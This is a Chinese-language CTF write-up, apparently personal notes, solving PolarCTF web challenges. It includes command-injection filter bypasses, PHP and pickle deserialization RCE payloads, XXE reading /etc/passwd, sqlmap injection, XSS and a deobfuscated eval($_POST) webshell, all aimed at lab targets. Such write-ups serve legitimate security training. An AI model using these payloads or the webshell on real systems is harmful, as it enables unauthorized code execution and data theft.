PolarCTF web wp-除Java题

PolarCTF web刷题笔记

如果你遇到题目这里没有,那可能是归档在我的比赛 wp 里了:

PolarCTF 网络安全 2025 春季个人挑战赛 WRITE UP
PolarCTF夏季个人挑战赛2025 wp

WEB

简单

简单题很多考点感觉不需要记下来,后续就没写了,遇到有意思的再写吧

swp-正则匹配回溯

扫描目录发现.index.php.swp

function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

尝试用换行符绕过没有成功

这里利用了正则匹配的回溯机制

上传一个足够长的字符串包含 sys nb 即可

简单 rce-rce 空格绕过

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?>
?sys=echo(`c\at%09/flag`);
POST: yyds=666

蜜雪冰城吉警店-js 前端

昨晚睡了三个小时困死了,做点简单题吧

源码被混淆,尝试抓包发现判断都在前端

前端修改 id=9 即可

召唤神龙-js 前端

没法 f12,可以先禁用 js 再 f12,再恢复 js 在网络处发现 main.js 含有 jsfuck

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])

随波逐流直接梭

seek flag-信息收集

源码提示爬虫

查看 robots.txt 发现 flag3 c0ad71dadd11}

扫一下目录,啥都没爬到,qswl

抓包在响应头发现 flag2 3ca8737a70f029d

cookie 中有 id 字段,将 id 改为 1 发包得到 flag1 flag1:flag{7ac5b

flag{7ac5b3ca8737a70f029dc0ad71dadd11}

login-信息收集

源码提示了账号密码,经测试账号递增也能登陆成功,并返回 flag 的一个字符

放进 bp 的 intruder 爆破一下即可

flag{dlcg}

jwt-jwt 伪造

尝试注册 admin 没成功,说明存在 admin 账户

注册一个 user 登录试试

抓包发现有 jwt,尝试解密看看

使用 jwtcracker 爆出密钥

在线工具编码后重新发包

这里的 username 提示藏在响应头

Hint: Flag-is-admins-password

访问 panel 页面即可看到 flag

中等

到底给不给 flag 呢-变量覆盖

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($qwq);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($QAQ);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo $flag;

一开始的思路是先 post a=flag

变成 $a=flag

然后再 get flag=a

变成$flag=$a

好像不对,这样的话 $flag 就变成 flag 了

555 想不出来怎么覆盖

看了之前做的变量覆盖,意识到可以只传 get

?a=flag&flag=a

结果还是没出,所以去翻 wp 了

然后发现就是这样做的???

可能是我之前测试的时候把 flag 给覆盖掉了

再开了一次靶场,原来弹都是假象就是带出回显了

服了,,,

注入-xpath 注入

一开始认为是 sql 注入,测试了一下发现不是

去翻了 wp,发现是 XPath 注入

1、注入点:URL、表单或其它信息上附带恶意的 XPath 查询代码
2、注入漏洞验证:输入 id=1'、id=-1 看页面是否返回报错信息
3、注入万能公式:id=1' or 1=1 or ''='
4、万能访问 xml 文档所有节点的 payload:']|//|//['

直接打万能 payload

这个 payload 的关键在于前后闭合,根据不同题可能有不同修改

某函数的复仇-create_function

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>

一开始没看清楚以为是无字母 rce,做不出来,后面看了 wp 不对

这里要求函数名含有下划线,且第二个参数可控,是考察 create_function 函数

https://www.php.net/manual/zh/function.create-function.php

这篇文章讲了注入原理

https://www.cnblogs.com/zzjdbk/p/12980483.html

因此用 create_function 是与下面这段代码等价的

<?php
function lambda_1($a,$b){
    return $root;
}
?>

因此这里 root 要闭合需要;},然后再注释后面的语句

?root=;}system("whoami");

代码审计 1-原生类

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
}

这是什么动态调用方法?

动态构建类?

应该可以利用原生类

?sys=SplFileObject&xsx=flag.php

试了一下原生类是可行的,但是只能读一行

可以用伪协议

?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

xxe-xxe

xxe 注入应该是,接触的不多,没研究明白注入点在哪

看 wp 参考了这个

https://github.com/vulhub/vulhub/blob/master/php/php_xxe/README.md

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<n>&xxe;</n>
</root>

扫目录可以扫到 dom.php,然后打 payload 即可

这里用 hackbar 和 yakit 都发不上(可能是我不会)

SSTI-SSTI

用这题来记录一下 fenjing 库的使用

python -m fenjing webui

unpickle-pickle 反序列化

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

pickle 反序列化

import base64
import pickle
import requests
import os

url = "http://9d4fbfdc-a8f3-4e57-af07-b79fd939c510.www.polarctf.com:8090/"

class claExp(object):
    def __reduce__(self):
        s = "ls /"
        return os.system, (s,)
e = claExp()

encoded = base64.b64encode(pickle.dumps(e))
print(encoded)

response = requests.get(url, cookies={"user":encoded.decode()})
print(response.text)

一直连接超时,手动打也没有回显

import base64
import pickle
import requests

url = "http://9d4fbfdc-a8f3-4e57-af07-b79fd939c510.www.polarctf.com:8090/"

class claExp(object):
    def __reduce__(self):
        s = "__import__('os').popen('cat /flag').read()"
        return eval, (s,)
e = claExp()

encoded = base64.b64encode(pickle.dumps(e))
print(encoded)

response = requests.get(url, cookies={"user":encoded.decode()})
print(response.content)

换成这样打出来了

BlackMagic-php 弱比较

<!--
        extract($_REQUEST);
        $strCharList = "\r\n\0\x0B ";
        $strFlag = "\r         xxxxx...xxxxx         \n";
        if(isset($strTmp))
        { 
                $strContent = trim($strFlag, $strCharList);
                if($strTmp == $strContent)
                { 
                        echo "flag{xxx...xxx}"; 
                }
                else
                { 
                        echo "You're awesome, but not enough.";
                } 
        }
        else 
        {
                echo "I will never tell you the flag is inside!";
        }
-->

是一个弱比较,一开始以为直接传 xxxxx...xxxxx 就行,但是这里没成,为什么呢?

上面那个代码粘贴之后 strFlag 的不可见字符被改了,重新粘一个做本地测试

<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r  xxxxx...xxxxx   \n";
$strTmp = 0;
if(isset($strTmp))
{
    $strContent = trim($strFlag, $strCharList);
    echo urlencode($strContent)."<br>";
    echo $strTmp;
    if($strTmp == $strContent)
    {
        echo "flag{xxx...xxx}";
    }
    else
    {
        echo "You're awesome, but not enough.";
    }
}
else
{
    echo "I will never tell you the flag is inside!";
}

看来是有个 tab 没被删掉

?strTmp=%09xxxxx...xxxxx%09

反序列化-php 反序列化

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
class example
    {
        public $handle;
        function  __destruct(){
            $this->funnnn();
        }
        function funnnn(){
            $this->handle->close();
        }
    }
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
    if(isset($_GET['data'])){
        $user_data=unserialize($_GET['data']);
    }
?>

easy serialize

<?php
class example
{
    public $handle;
    function  __destruct(){
        $this->funnnn();
    }
    function funnnn(){
        $this->handle->close();
    }
}
class process{
    public $pid="system('cat /var/www/html/flag.php');";
    function close(){
        eval($this->pid);
    }
}
$pro = new process();
$ex = new example();
$ex->handle = $pro;
echo urlencode(serialize($ex));

找找 shell

<?php 
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
 ?>

本地测试如下

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];
$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];
$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];
$OO0000=$O00OO0[7].$O00OO0[13];
$O00O0O.=$O00OO0[22].$O00OO0[36].$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];

eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
/*eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
echo $O00O0O."\n";
echo $O0OO00."\n";
echo $OO0O00."\n";
echo $O0O000."\n";
echo $OO0000."\n";

echo base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),substr($O0O000,0,52)));
/*eval('?>'.base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),substr($O0O000,0,52))));*/
?>

结果

base64_decode
strtr
substr
bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==
52
<?php @eval($_POST['usam']); ?>
POST: usam=system("cat zheshiflag.php");

再来 ping 一波啊-rce

?ip=;cd$IFS$1..;cd$IFS$1..;l\s

这样可以执行命令,env 有 flag 交了不对

看一下源码

?ip=;base64$IFS$1in\dex.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PolarD&N CTF</title>
<center>
        <h2 style="margin-top: 300">来做个复习<br></h2>
        <form action="" method="get" >
                <input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
                <button style="margin-left:20;" type="submit">确定</button>
        </form>

        <?php
    $flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
        if(isset($_GET['ip'])){
                $ip = $_GET['ip'];
                if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
                        print_r($match);
                        print($ip);
                        echo "<pre>";
                        echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
                        die("fxck your symbol!");
                }
                else if(preg_match("/ /", $ip)){
                        die("空格我可没加难度这可真是复习,/斜眼笑");
                }
                else if(preg_match("/bash/", $ip)){
                        die("Bash is not allowed");
                }
                else if(preg_match("/ls/", $ip)){
                        die("我很抱歉,其实你得再研究研究");
                }
                        else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
                        die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
                }
                else if(preg_match("/rm/", $ip)){
                        die("你要搞我???");
                }
                else if(preg_match("/index/",$ip)){
                        die("那能让你直接读?");
                }
                $a = system("ping -c 4 ".$ip);
                echo "<pre>";
                print_r($a);
        }

        ?>
<!--其实就是出题人太懒了-->

</center>

这里明明是过滤了\的,为什么我还能用?

wu-无字母数字 rce

无字母数字 rce

?a=%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=system&__=cat+zheshiflag.php

你的马呢?-文件上传 文件包含

url 处存在文件读取

<?php
        if(isset($_FILES['upfile'])){
                $uploaddir = 'uploads/';
                $uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
                $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

                //检查文件内容
                $text = file_get_contents($_FILES['upfile']['tmp_name']);


                echo $ext;

                //检查文件后缀
                if (!preg_match("/ph.|htaccess/i", $ext)){

                        if(preg_match("/<\?php/i", $text)){
                                echo "嘿嘿嘿,想传马?不可能!<br>";
                        }
                        else{
                                move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
                                echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";
                        }
                } 
                else {
                        echo "恶意后缀,试试.jsp呢?<br>";
                        
                }
        }
?>

<!DOCTYPE html>
<html>
<head>
        <title>上传文件</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
        千万别上传php脚本!!!!
        <form action="upload.php" method="POST" enctype="multipart/form-data">
                <input type="file" name="upfile" value="" />
                <input type="submit" name="submit" value="提交" />
        </form>
</body>
</html>

提示传 jsp 马,但是我传了之后发现是不解析的

难道是要用 jsp 产生和 htaccess 相同的作用?

差点忘了可以文件包含,包含一下就可以连上了,jsp 马确实是解析不了的

可以传个其它后缀的 php 马,包含一下是可以解析的

ezphp-文件上传 文件包含

访问 robots.txt

User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images

file 文件夹有 file.php

<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?>

任意文件包含

uploads 文件夹有 upload.php,可以上传文件

直接读 upload.php

?filename=php://filter/convert.base64-encode/resource=../uploads/upload.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
</head>
<body>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检查文件是否上传成功
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        // 定义允许上传的文件类型
        $allowed_extensions = array("jpg", "jpeg", "png", "gif");

        // 获取上传文件的文件名和扩展名
        $filename = $_FILES['file']['name'];
        $file_extension = pathinfo($filename, PATHINFO_EXTENSION);

        // 检查文件扩展名是否在允许的列表中
        if (in_array(strtolower($file_extension), $allowed_extensions)) {
            // 确定存储上传文件的目录
            $upload_directory = './images/';

            // 确保目录存在,如果不存在则创建
            if (!is_dir($upload_directory)) {
                mkdir($upload_directory, 0777, true);
            }

            // 构造上传文件的完整路径
            $upload_path = $upload_directory . $filename;

            // 移动文件到指定目录
            if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
                echo '<p>文件上传成功!</p>';
            } else {
                echo '<p>文件上传失败。</p>';
            }
        } else {
            echo '<p>不允许上传该类型的文件。</p>';
        }
    } else {
        echo '<p>文件上传失败。</p>';
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">选择文件:</label>
    <input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
    <br>
    <input type="submit" value="上传文件">
</form>

</body>
</html>

只有一个后缀名检测,绕过文件上传传马包含即可

这里不想传文件,试一下 filter 链 rce

https://probiusofficial.github.io/2023/02/07/Filter/

这里试着打了一下发现打不通,本地测试了 filter 链需要开启对应服务

同时 php 版本可能导致兼容性问题,还可能会因为 filter 过长的原因在 5.2/7.4/8.0/8.1 报错

有时间找一道对应的题目来做做看吧

预期解这里就不做了

随机值-php 数字强比较特性

<?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?>

1===true,将 polar1 和 night 置 true 即可

<?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function __construct(){
        $Polar1 = true;
        $Night = true;
    }
    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}

$index = new Index();
$payload = serialize($index);
echo urlencode($payload)."<br>";
$a = unserialize($payload);
$a->getflag("getFlag");
//?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3BN%3Bs%3A13%3A%22%00Index%00Polar2%22%3BN%3Bs%3A8%3A%22%00%2A%00Night%22%3BN%3Bs%3A8%3A%22%00%2A%00Light%22%3BN%3B%7D

phpurl

base64 解密是 index.phps

<?php
if("xxs"===$_GET[sys]) {
  echo("<p>Not a good idea!</p>");
  exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
  echo "<p>Welcome to polar LABS!</p>";
  echo "<p>Flag: XXXXXXX </p>";
}
?>

这里传参没反应?要去 index.php 传参

url 二次编码绕过

%2578%2578%2573

search-extractvalue 报错注入

sql 注入

有 waf 过滤了" 空格 union updatexml

应该要盲注,也没有替换什么的,试试用 sqlmap 打

可以报错注入,利用的是 extractvalue()

https://www.cnblogs.com/c1047509362/p/12806297.html

直接拿 sqlmap 打即可

sqlmap -u url --data "query=1" --batch --tamper=space2comment -D "CTF" -T "Flag" --dump

file-文件上传 信息收集

按提示先 dirsearch 一下

与此同时看一下页面,按钮是 disabled 的,前端改一下就能点,进入一个上传页面

同时有个最大文件大小参数,不知道有没有用但是先改大点看看

上传之后没有回显?控制台会闪一下报错

暂时不能往下走,看看 dirsearch 结果

有上传目录,可以看见传上去的图片

文件上传抓包改一下 Content-Type 就能绕

PlayGame-php 反序列化

<?php
/*
PolarD&N CTF
*/
class User{
    public $name;
    public $age;
    public $sex;

    public function __toString()
    {
        return "name:".$this->name."age:".$this->age."sex:".$this->sex;
    }
    public function setName($name){
        $this->name=$name;
    }
    public function setAge($age){
        $this->$age=$age;
    }
    public function setSex($sex){
        $this->$sex=$sex;
    }
}
class PlayGame{
    public $user;
    public $gameFile="./game";
    public function openGame(){
        return file_get_contents($this->gameFile);
    }
    public function __destruct()
    {
        echo $this->user->name."GameOver!";
    }
    public function __toString(){
        return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
    }
}
if(isset($_GET['polar_flag.flag'])){
    unserialize($_GET['polar_flag.flag']);
}else{
    highlight_file(__FILE__);
}

反序列化

不知道 flag 在哪 /flag

<?php
class User{
    public $name;
}
class PlayGame{
    public $user;
    public $gameFile="./game";
}

$game = new PlayGame();
$game->gameFile = "php://filter/convert.base64-encode/resource=/flag";
$user = new User();
$user->name = $game;
$game2 = new PlayGame();
$game2->user = $user;

$payload = serialize($game2);
echo urlencode($payload);
serialize($game2);
?polar[flag.flag=O%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BN%3Bs%3A8%3A%22gameFile%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7Ds%3A8%3A%22gameFile%22%3Bs%3A6%3A%22.%2Fgame%22%3B%7D

csdn-file 伪协议

url 处有参数,应该是 ssrf

访问不到?可能在根目录下 目录穿越也行不通

访问 localhost 是 404,访问其它都是空的

看了 wp,用的是 file 伪协议,但是用不了 php 协议 为什么???

flag.txt 就在根目录,不在 flag 文件夹里。。

Dragon-xss

xss,用不了 script,可以用 img

POST:

name=<img src=1 onerror=alert(document.cookie)>

没有后端 bot,直接看 cookie 也行好像

tnl-php 伪协议

sql 注入?但是完全没有回显,报错倒是有

试了一下打报错注入的一些 payload 也不行

去看 wp 莫名其妙就去试 php 伪协议了,应该没什么逻辑就是试出来,sql 是个迷惑项

而且还自带 php 后缀。。

POST: twothree=php://filter/convert.base64-encode/resource=index
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
        if( strpos( $file, "1" ) !==  false || strpos( $file, "2" ) !==  false || strpos( $file, "index")){
                include ($file . '.php');
        }
        else{
                echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
        }
}
?>
twothree=php://filter/convert.base64-encode/1/resource=flag

粪题不用管

你知道 sys 还能这样玩吗-命令执行绕过

进去就是 403,直接 dirsearch

dirsearch 扫不到?不知道是不是我的坏了

用别的扫描工具可以扫除 sys.php (我这里用的是 yakit)

<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
    echo "<pre>";
    $cmd = $_POST['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
        $output = system($cmd);
        echo $output;
    }
    echo "</pre>";
}
?>

一个命令执行的简单绕过

cmd=l"s" /

这里比较特别的是过滤了.和*,要考虑怎么访问 flag.txt

16进制编码
cmd=ca\t /fl\ag$'\x2e'txt

这里也可以 base64 绕

ExX?-php7.0.30 xxe

难绷 一进去就是 inflagggg.php 循环

有 phpinfo,点了之后 url 处会有疑似文件包含

传参没效果

翻了一下 phpinfo 直接就有 flag 提交了一下居然是错的

考虑是函数调用,那这里只有函数名进行调用,比较难利用

看版本是 7.0.30,有 xxe 漏洞,题目应该也是这个意思

https://blog.csdn.net/weixin_43886198/article/details/111475187

有 dom.php

在 flagggg.php,靠,我以为在 inflagggg.php 一直读不出来

EZ_Host-命令执行

有 ssrf,扫一下目录看一下怎么利用

有/flag,应该要 ssrf 访问,直接访问是个假 flag

Dockerfile 也有泄露,可以看到端口是 80

?host=``http://127.0.0.1:80/flag 。。?访问不到

靠,是命令执行

?host=127.0.0.1 发现是 ping 的回显

?host=127.0.0.1;cat index.php

